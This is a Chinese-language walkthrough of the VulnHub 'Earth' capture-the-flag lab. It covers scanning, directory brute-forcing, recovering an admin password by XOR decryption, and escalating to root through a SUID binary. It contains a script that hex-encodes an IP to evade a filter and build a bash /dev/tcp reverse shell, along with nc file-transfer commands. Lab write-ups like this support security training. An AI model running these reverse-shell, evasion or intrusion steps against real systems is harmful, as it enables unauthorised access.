VulnHub靶场Earth

wahaha2026-03-05文章来源:SecHub网络安全社区


下载地址:

https://www.vulnhub.com/entry/the-planets-earth,755/

信息收集

利⽤arp探测⼀下

arp-scan -l

⽤namp扫⼀下

443下绑定两个域名

Name: DNS:earth.local, DNS:terratest.earth.local

nmap -A 172.16.163.134

web端访问⼀下,发现400

绑定域名访问

vim /etc/hosts

访问⼀下

https://earth.local/

爆⼀下⼦⽬录

./gobuster dir -u https://earth.local/ -w /usr/share/dirb/wordlists/big.txt -x .php,.txt,.zip -k

访问⼀下admin

爆破没进去,可能是字典不行吧

再爆一下另外一个子目录

./gobuster dir -u https://terratest.earth.local/ -w /usr/share/dirb/wordlists/big.txt -x
.php,.txt,.zip -k

有个robots ,进去看看

最后一个目录,手测一下发现是.txt

翻译一下:

测试安全消息系统注意事项:

*使⽤XOR加密作为算法,在RSA中使⽤应该是安全的。

*地球已确认他们已收到我们发送的信息。

*testdata.txt ⽤于测试加密。

*terra ⽤作管理⻔户的⽤户名。

去做:

*我们如何安全地将每⽉的密钥发送到地球? 或者我们应该每周更换钥匙?

*需要测试不同的密钥⻓度以防⽌暴⼒破解。 钥匙应该多⻓时间?

*需要改进消息界⾯和管理⾯板的界⾯,⽬前⾮常基础。

这⾥我们得到加密的算法是xor,并且有⼀个testdata.txt⽂档⽤于测试加密,⽤户名是terra

访问⼀下testdata.txt

写个简单py脚本,选⼀个Previous Messages数据,然后与 testdata.txt 进⾏⼀下 XOR 运算,得到密

import binascii
data1 =
"2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c
0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074
d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d03
1d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e0307410544181
00c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0
c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b
141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e
454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b
05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171
a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()) #把testdata中的内容转换成⼗六进制
result = hex(int(data1,16) ^ int(f,16)) #⼗六进制转成⼗进制异或,之后再转换成⼗六进制
print(binascii.a2b_hex(result.replace("0x",""))) #把⼗六进制转换成字符串

运⾏后得到以下数据:

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humans
earthclimatechangebad4humansearthclimatechangebad4humansearthclimat

密码是重复的,然后使⽤⽤户名 terra ,密码:earthclimatechangebad4humans 登录

使⽤find命令查找flag:

find / -name "*flag*"

发现flag

cat一下

反弹shell

再看看这个earth⽬录下有没有其他的东⻄

对ip进⾏了限制,利⽤⼗六进制进⾏反弹shell

写了⼀个脚本直接转成反弹⼗六进制的ip

print("请输⼊您的ip:")
ip = input()
print("请输⼊您的端⼝:")
port = input()
a = ip.split('.')
str = ""
for i in range(0,4):
if(i<3):
11
str += hex(int(a[i]))+"."
else:
str += hex(int(a[i]))
exp = "bash -i >& /dev/tcp/"+str+"/"+port+" 0>&1"
print(exp)

提升权限

cat /proc/version

没搜到exp

来查找⼀下有权限的命令

find / -perm -u=s -type f 2>/dev/null

有个/usr/bin/reset_root

运⾏⼀下,发现报错

本地没有调试的命令,使⽤nc传送到本地调试⼀下

nc -lvnp  >reset_root
nc ***.***.***.***  < /usr/bin/reset_root

发现桌⾯多了reset_root

然后 strace 命令进⾏调试

安装⼀下strace

apt install strace

增加权限

chmod +x reset_root

然后调试⼀下

strace /root/桌⾯/reset_root

没有以下三个⽂件⽽报错,查看靶机发现也没有这三个⽂件:

那就创建这三个⽂件

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

然后再靶机中尝试运⾏reset_root

得到root权限密码,Earth,